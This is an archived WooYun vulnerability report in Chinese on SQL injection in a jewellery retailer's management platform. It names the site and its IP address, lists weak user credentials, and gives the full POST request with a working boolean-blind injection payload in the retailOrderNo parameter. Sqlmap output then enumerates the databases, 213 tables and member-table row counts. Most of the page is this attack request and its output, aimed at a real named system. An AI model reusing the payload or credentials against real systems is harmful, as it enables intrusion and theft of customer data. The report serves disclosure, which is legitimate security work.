乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-03-29： 积极联系厂商并且等待厂商认领中，细节不对外公开 2016-05-13： 厂商已经主动忽略漏洞，细节向公众公开
rt
主站：http://www.gold-shop.cn/管理平台：http://202.104.113.190/部分用户：11 12345612 12345699 99111 111
注入：POST http://202.104.113.190/distribution/ListVRetailDetail.do HTTP/1.1Host: 202.104.113.190Connection: keep-aliveContent-Length: 440Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://202.104.113.190User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://202.104.113.190/distribution/ListVRetailDetail.doAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: JSESSIONID=7BD224DCACF34ACE97B88510890241F5opMode=list&navMode=L&pageId=1&orderBy=&order=&isFirst=N&siteId=&retailType=&startDate=2016-03-25&endDate=2016-03-25&retailOrderNo=123&goodsBarcode=&customerName=&goodsCategoryId=&goodsTypeId=&stoneId=&startGoldWeight=&endGoldWeight=&startLabelPrice=&endLabelPrice=&startStonesWeight=&endStonesWeight=&orderStatus=&stonePureId=&stoneToneId=&stoneCircle=&companyNo=&factoryStyle=&supplierId=&staffId=&pageSize=15&pageNumber=0Parameter: retailOrderNo (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: opMode=list&navMode=L&pageId=1&orderBy=&order=&isFirst=N&siteId=&retailType=&startDate=2016-03-02&endDate=2016-03-03&retailOrderNo=123 AND 7109=7109 AND 'EgRb'='EgRb&goodsBarcode=&customerName=&goodsCategoryId=&goodsTypeId=&stoneId=&startGoldWeight=&endGoldWeight=&startLabelPrice=&endLabelPrice=&startStonesWeight=&endStonesWeight=&orderStatus=&stonePureId=&stoneToneId=&stoneCircle=&companyNo=&factoryStyle=&supplierId=&retailType=4&retailType=1&retailType=1&retailType=1&retailType=4&retailType=1&retailType=1&retailType=1&retailType=1&pageSize=15&pageNumber=1 Vector: AND [INFERENCE]---back-end DBMS: MySQL 5available databases [8]:[*] information_schema[*] jpsim[*] jpsim2[*] mysql[*] performance_schema[*] sakila[*] test[*] worldDatabase: jpsim[213 tables]+------------------------------------+| audit_login_out || audit_trail || basic_brand || basic_gold_stone || basic_goods_category || basic_goods_diamond_color || basic_goods_diamond_element || basic_goods_diamond_process || basic_goods_diamond_pure || basic_goods_diamond_shape || basic_goods_diamond_tone || basic_goods_type || basic_suppliers || basic_warehouse || basic_weight || check_goods_init12 || check_goods_init122 || check_goods_init159 || check_goods_init169 || check_goods_init184 || check_goods_init190 || check_goods_init196 || check_goods_init199 || check_goods_init2 || check_goods_init234 || check_goods_init244 || check_goods_init261 || check_goods_init280 || check_goods_init283 || check_goods_init288 || check_goods_init292 || check_goods_init296 || check_goods_init30 || check_goods_init307 || check_goods_init333 || check_goods_init356 || check_goods_init361 || check_goods_init366 || check_goods_init368 || check_goods_init378 || check_goods_init387 || check_goods_init39 || check_goods_init433 || check_goods_init436 || check_goods_init440 || check_goods_init456 || check_goods_init463 || check_goods_init466 || check_goods_init469 || check_goods_init477 || check_goods_init483 || check_goods_init491 || check_goods_init505 || check_goods_init508 || check_goods_init511 || check_goods_init515 || check_goods_init519 || check_goods_init571 || check_goods_init574 || check_goods_init586 || check_goods_init589 || check_goods_init595 || check_goods_init609 || check_goods_init612 || check_goods_init64 || check_goods_init94 || check_goods_order || checkgoods_order_detail || checkgoods_order_result || coefficient_message || coefficient_message_detail || com_organization || company_goods_seq || company_message_history || company_message_info || company_param || consumption_records || consumption_score_records || cost_change_order || cost_change_order_detail || current_coefficient || decoration_inbound || decoration_message || decoration_req_order || decoration_req_order_detail || decoration_warehouse_goods || diamond_price || dms_document || dms_mtm_company_document || form_element || goods || goods_life_cycle || inlayin_bound_order || inlayin_bound_order_detail || inventory_sheet_order || inventory_sheet_order_detail || label_price_order || label_price_order_detail || maintain_handle || maintain_order || maintain_order_detail || material_info || material_recyling_order || material_recyling_order_detail || material_req_order || material_req_order_detail || material_warehouse || member_info || member_info_adjust || member_money_order || member_type || mtm_company_checkgoods || mtm_company_form_element || mtm_company_rule || mtm_company_sysfunction || mtm_staff_site || mtm_staff_staff || mtm_user_record_user_role || mtm_user_role_fun_element || mtm_warehouse_site || no_for_supervision_rule || org_basic_message || org_staff || out_bound_detail || out_ound_order || personal_home_preference || present_inbound || present_message || present_req_order || present_req_order_detail || present_warehouse_goods || price_markup || price_markup_detail || price_markup_now || price_weighted_coefficient || price_weighted_coefficient_history || requisition_order || requisition_order_detail || retail_amount_set || retail_order || retail_order_detail || retail_order_no_rule || return_goods_order || return_goods_order_detail || return_material_detail || score_set || shift_order || shift_order_detail || site_gold_price || site_ratio || site_ratio_history || sms_send || sys_delete_reference || sys_enums || sys_function || sys_no_rule || sys_no_rule_coeff01 || sys_no_rule_db01 || sys_no_rule_decoration01 || sys_no_rule_diamond01 || sys_no_rule_dj01 || sys_no_rule_in01 || sys_no_rule_jlreq01 || sys_no_rule_member01 || sys_no_rule_money01 || sys_no_rule_mtod01 || sys_no_rule_out01 || sys_no_rule_pd01 || sys_no_rule_present01 || sys_no_rule_ro01 || sys_no_rule_ro02 || sys_no_rule_sftod01 || sys_no_rule_sj01 || sys_no_rule_supervision01 || sys_no_rule_tj01 || sys_no_rule_xq01 || sys_parameter || sys_table_key_generator || user_record || user_role || user_role_permission || v_checkgoods_detail || v_coeffice_stone || v_coefficient || v_company_function_element || v_costchangeoderdetailquery || v_goodcategorybyretail || v_goodsbymultiquery || v_goodsforlabelprice || v_goodsmonthcount || v_inlayin_history || v_inlayinboundorder_detail || v_inventory_quality || v_labelprice_goods_print || v_labelpricebygoldenin || v_material_requsition_history || v_material_warehouse || v_orgstaffanduser || v_orgstaffbysite || v_outound_history || v_report_dayretailorder || v_report_present || v_report_profit || v_report_totalretailorder || v_report_warehouse || v_requistion_history || v_retail_detail || v_retail_detail_count || v_role_function_element || v_sitesidbystaffid || v_warehousegoods || v_warehousegoods_road || warehouse_goods |+------------------------------------+Database: jpsim+-------------+---------+| Table | Entries |+-------------+---------+| member_info | 36719 |+-------------+---------+Database: jpsim+----------------------------+---------+| Table | Entries |+----------------------------+---------+| inlayin_bound_order_detail | 1053628 |+----------------------------+---------+
未能联系到厂商或者厂商积极拒绝
漏洞Rank：15 (WooYun评价)
